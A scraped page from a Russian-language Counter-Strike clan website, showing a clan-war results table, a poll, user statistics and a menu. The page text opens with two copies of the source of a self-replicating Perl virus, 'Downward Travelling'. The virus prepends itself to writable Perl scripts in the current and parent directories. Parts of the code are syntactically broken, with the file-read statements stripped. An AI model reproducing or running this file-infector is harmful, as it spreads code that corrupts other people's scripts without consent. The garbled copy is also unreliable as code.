#!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Mixway gaming community #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}}













Меню





Главная страница Таблица CW Устав клана Состав клана Тренеровки Видео для клана Доска позора Личные стр Гостевая Связь Файлы Форум









Чат





200










Опрос





Смотрите ли вы наши онл фильм
javascript:// javascript://
Всего ответов: 14










Статистика





Online :
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Users :










Друзья





CS.ORC.Lv Best Latvian Servers












Таблица CW - FD| кЛаН - Описание сайта



Команда  противника

Карта

Количество


Победитель

Счёт

*Go.Tm.*  dd2

 2x2


 FD|

 0:16

MIX
dd2

 3x3


 MIX

 16:15

MIX dd2

 3x3


 FD|

 14:16

socks #
dd2

 3x3


 FD|

 0:16

MIX
dd2

 3x3


FD|

 6:16

Alternative |
dd2

 3x3


Alternative |

 16:6

Alternative |

de_train

 3x3


FD|

 6:16

Alternative |

 de_inferno

 3x3

Alternative |

 16:13






 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 

 

 

 


 

 









Кабинет





Четверг, 22.02.2018,
Гость

Сообщения:

Группа:
Гости
Логин:
Пароль:










Топ пользователей





JannieBion

Новостей: 1113
Сообщений: 0
Комментарий: 0
Репутация: 0

Muslimer

Новостей: 718
Сообщений: 6
Комментарий: 0
Репутация: 0

Pitertata

Новостей: 203
Сообщений: 0
Комментарий: 0
Репутация: 0











Случайное видео















Block title





erik
erik
erik










Наш Баннер





Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.:

CS clan